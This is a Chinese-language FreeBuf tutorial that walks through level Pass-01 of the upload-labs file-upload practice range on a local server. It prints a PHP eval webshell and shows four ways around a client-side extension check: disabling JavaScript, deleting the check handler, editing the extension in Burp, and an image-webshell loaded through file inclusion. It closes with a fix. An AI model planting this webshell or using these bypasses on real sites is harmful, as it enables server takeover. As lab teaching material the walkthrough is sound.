freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

【文件上传入门】upload-labs靶场大闯关(持续更新ing)
2023-10-06 10:18:30

实验准备

环境:Windows2008、phpstudy

靶场:upload-labs

工具:

  • 浏览器:火狐浏览器

  • webshell管理工具:蚁剑

  • 抓包改包工具:burpsuite

  • 编辑器:010editor

下载upload-labs安装包,解压后将文件夹复制到phpstudy的WWW目录下

1696552998_651f582698c61d8f0868a.png!small?1696552999570

启动phpstudy

1696552873_651f57a9b81df6123fd83.png!small?1696552874690

浏览器访问靶场

1696553111_651f5897a3983764b36d1.png!small?1696553112776

Pass-01

怎么绕过?

准备好webshell

#test.php
<?php
phpinfo();
@eval($_POST[666]);
?>

注:

1、phpinfo() 函数会打印phpinfo信息

2、加上@符号,程序执行出错后也不报错

3、eval() 函数将输入的字符串当做代码执行,$_POST是一个数组,用来接收POST请求

尝试上传

1696553852_651f5b7c9bfc150c9c95e.png!small?1696553853629

根据弹窗,猜测是前端检测,故进行前端检测绕过。


方法1:禁用JS

PHP版本:7.3.33TS

服务器:Apache2.4.39

1、URL栏输入about:config,找到javascript.enabled,点击禁用。

1696554020_651f5c24b88be2a09a90e.png!small?1696554021648

2、刷新网页,再次上传,上传成功。

1696554209_651f5ce1e3168a241b97b.png!small?1696554211632

3、右键复制图像链接,访问

1696554734_651f5eee006d2d46e8a1d.png!small?1696554734858

4、连蚁剑

1696554784_651f5f20c0d970b6eb2cb.png!small?1696554785563

1696554804_651f5f34d42e123143c3d.png!small?1696554805731


5、解除禁用

方法2:删除浏览器事件

PHP版本:7.3.33TS

服务器:Apache2.4.39

1、右键检查,选中上传按钮。发现浏览器事件,调用了检查文件类型的代码。

1696555879_651f6367b5e023e6b73fa.png!small?1696555880637

2、删除调用代码

1696556087_651f643735c732c2a4d90.png!small?1696556087953

3、再次上传,上传成功

1696556107_651f644b4e8de5db38ddd.png!small?1696556108442

方法3:bp抓包改后缀名

PHP版本:7.3.33TS

服务器:Apache2.4.39

1、复制一份webshell,改后缀为jpg。

1696556244_651f64d4eca4022e6d138.png!small?1696556245718

2、bp与浏览器设置代理,开启拦截模式。

1696556279_651f64f77bb91d38b48cc.png!small?1696556280259

1696556298_651f650a3d83c76af3461.png!small?1696556299085

1696556322_651f6522bfa62c1a79c38.png!small?16965563236343、上传jpg文件,bp拦包。将后缀改回php。

1696556448_651f65a08259f200facd5.png!small?1696556449449

4、放包,上传成功。

1696556467_651f65b35844e3408922c.png!small?1696556468225

方法4:图片马+文件包含

PHP版本:7.3.33TS

服务器:Apache2.4.39

1、制作图片马

准备好脚本文件

<?php
phpinfo();
@eval($_POST[666]);
?>

准备好图片

1696557076_651f681440f34f5bd4d0f.png!small?1696557078103

打开cmd,使用copy命令合成图片马

1696557007_651f67cfce9a1e3199e1a.png!small

2、上传图片马,复制链接

1696557166_651f686e1a6d3a551d914.png!small?1696557166940

http://127.0.0.1/upload-labs/upload/pass1.jpg

3、配合文件包含漏洞,访问图片马

127.0.0.1/upload-labs/include.php?file=upload/pass1.jpg

1696557229_651f68ad526e0eb1f7302.png!small?1696557230721

分析源码

function checkFile() {
    //获取用户选择的文件路径
var file = document.getElementsByName('upload_file')[0].value;
//如果选择的路径为null或者为空,就提示用户选择 if (file == null || file == "") { alert("请选择要上传的文件!"); return false; }
//定义允许上传的文件类型 var allow_ext = ".jpg|.png|.gif"; //提取上传文件的类型;file是文件路径,从路径中获取.后的后缀名,也就是文件的类型 var ext_name = file.substring(file.lastIndexOf(".")); //判断上传文件类型是否允许上传 if (allow_ext.indexOf(ext_name + "|") == -1) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false; }

修复建议

不使用前端检测。

因为前端代码是加载到用户的浏览器上的,是用户可控的,所以检测了跟没检测一样。

# 文件上传 # 任意文件上传 # 文件上传限制绕过 # 任意文件上传漏洞 # 文件上传绕过
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录